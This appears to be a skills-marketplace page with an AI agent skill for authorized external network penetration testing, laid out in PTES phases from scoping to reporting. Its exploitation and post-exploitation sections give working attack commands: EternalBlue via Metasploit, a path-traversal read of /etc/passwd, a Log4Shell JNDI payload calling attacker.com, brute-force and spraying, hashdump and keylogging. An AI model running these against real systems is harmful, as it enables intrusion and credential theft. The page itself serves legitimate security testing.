Skip to main content ホーム クリエイター oyi77 1ai-skills performing-external-network-penetration-test
performing-external-network-penetration-test Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting. Use when conducting a comprehensive external network penetration test to identify vulnerabilities.
インストールへ移動 Skills Marketplace コミュニティが作成したAIスキルを発見・探索
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/oyi77/1ai-skills --skill performing-external-network-penetration-testコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Zipをダウンロード ダウンロード中... name performing-external-network-penetration-test description Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting. Use when conducting a comprehensive external network penetration test to identify vulnerabilities. domain cybersecurity subdomain penetration-testing tags ["external-pentest","network-security","PTES","OSSTMM","Nmap","Metasploit","vulnerability-assessment","reconnaissance","exploitation"] version 1.0 author oyi77 license Apache-2.0 nist_csf ["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"]
Performing External Network Penetration Test
Overview
An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.
When to Use
Trigger phrases:
"performing external network penetration test"
"Conduct a comprehensive external network penetration test to identify vulnerabil"
When conducting security assessments that involve performing external network penetration test
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Written authorization (Rules of Engagement document signed by asset owner)
Defined scope: IP ranges, domains, subdomains, and exclusions
Testing environment: Kali Linux or Parrot OS with updated tools
VPN/dedicated testing infrastructure to avoid IP blocks
Coordination with SOC/NOC for timing windows
Phase 1 — Pre-Engagement and Scoping
This section covers phase 1 — pre-engagement and scoping for performing external network penetration test.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Define Rules of Engagement
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
Legal Documentation Checklist
Document Status Owner Master Service Agreement (MSA) Signed Legal Statement of Work (SOW) Signed PM Rules of Engagement (RoE) Signed CISO
Get-Out-of-Jail Letter Signed CTO
Insurance Certificate Verified Risk
Phase 2 — Reconnaissance (Information Gathering) Performing External Network Penetration Test Output Summary
========================================
Status: [COMPLETE / PARTIAL / BLOCKED]
Findings: [count] items
Severity: [Critical / High / Medium / Low / Info]
Evidence: [file paths or log references]
Next Steps: [recommended actions]
Passive Reconnaissance
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
theHarvester -d target.com -b all -l 500 -f theharvester_results
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source =https://github.com/targetcorp/repo
Active Reconnaissance
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
whatweb -v https://target.com
wappalyzer https://target.com
Phase 3 — Vulnerability Analysis This section covers phase 3 — vulnerability analysis for performing external network penetration test.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Automated Scanning
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
nikto -h https://target.com -output nikto_results.html -Format htm
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
Manual Vulnerability Validation
searchsploit apache 2.4.49
searchsploit openssh 8.2
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
ike-scan 203.0.113.20
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
Phase 4 — Exploitation This section covers phase 4 — exploitation for performing external network penetration test.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Network Service Exploitation
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web Application Exploitation
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
dalfox url "https://target.com/search?q=test" --skip-bav
commix --url="https://target.com/ping?host=127.0.0.1" --batch
Password Attacks
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Phase 5 — Post-Exploitation
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
./linpeas.sh | tee linpeas_output.txt
.\winPEAS.exe | tee winpeas_output.txt
echo "PENTEST-PROOF-$(date +%Y%m%d) " > /tmp/pentest_proof.txt
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
meterpreter> screenshot
meterpreter> keyscan_start
Phase 6 — Reporting This section covers phase 6 — reporting for performing external network penetration test.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Finding Classification (CVSS v3.1) Severity CVSS Range Count Example Critical 9.0-10.0 2 RCE via unpatched Exchange (ProxyShell) High 7.0-8.9 5 SQL Injection in customer portal Medium 4.0-6.9 8 Missing security headers, TLS 1.0 Low 0.1-3.9 12 Information disclosure via server banners Info 0.0 6 Open ports documentation
Report Structure 1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
Remediation Priority Matrix Priority Timeline Action P1 — Critical 24-48 hours Patch RCE vulnerabilities, disable exposed admin panels P2 — High 1-2 weeks Fix injection flaws, implement MFA P3 — Medium 30 days Harden TLS configs, add security headers P4 — Low 60-90 days Remove version banners, update documentation
Tools Reference Tool Purpose License Nmap Port scanning and service enumeration GPLv2 Metasploit Exploitation framework BSD Burp Suite Pro Web application testing Commercial Nuclei Vulnerability scanning MIT Subfinder Subdomain enumeration MIT SQLMap SQL injection testing GPLv2 Nessus Vulnerability scanner Commercial Gobuster Directory brute-forcing Apache 2.0 Hashcat Password cracking MIT theHarvester OSINT email/domain harvesting GPLv2
When NOT to Use
You don't have explicit written authorization to test
Task is about defense/detection, not offense (use detection skills)
You need to implement security controls (use implementing-* skills)
Task requires compliance auditing (use auditing-* skills)
You're investigating an incident (use incident response skills)
Target is out of scope for your engagement
Task is about vulnerability scanning only (use scanning tools)
Red Flags
Performing actions without explicit written authorization from the asset owner
Testing against production systems without a defined scope and rules of engagement
Capturing traffic on networks without authorization or privacy considerations
Leaving packet captures containing sensitive data unencrypted on disk
Deploying inline blocking rules without testing for false positives first
Verification
All steps executed successfully against a test environment before production use
Output documented with screenshots or logs demonstrating expected behavior
Captures verified as complete with no dropped packets
Detection rules tested against known-benign traffic for false positive rate
Alert thresholds validated and tuned to reduce noise
References
Process
Analyze the task requirements
Apply domain expertise
Verify output quality
Anti-Rationalization Table Rationalization Reality "We are too small to be targeted" Automated attacks target everyone. Size does not matter. "Security slows us down" A breach slows you down 100x more. Build security in from the start. "We will fix it after launch" Vulnerabilities in production are exploited within hours. Fix before deploy.
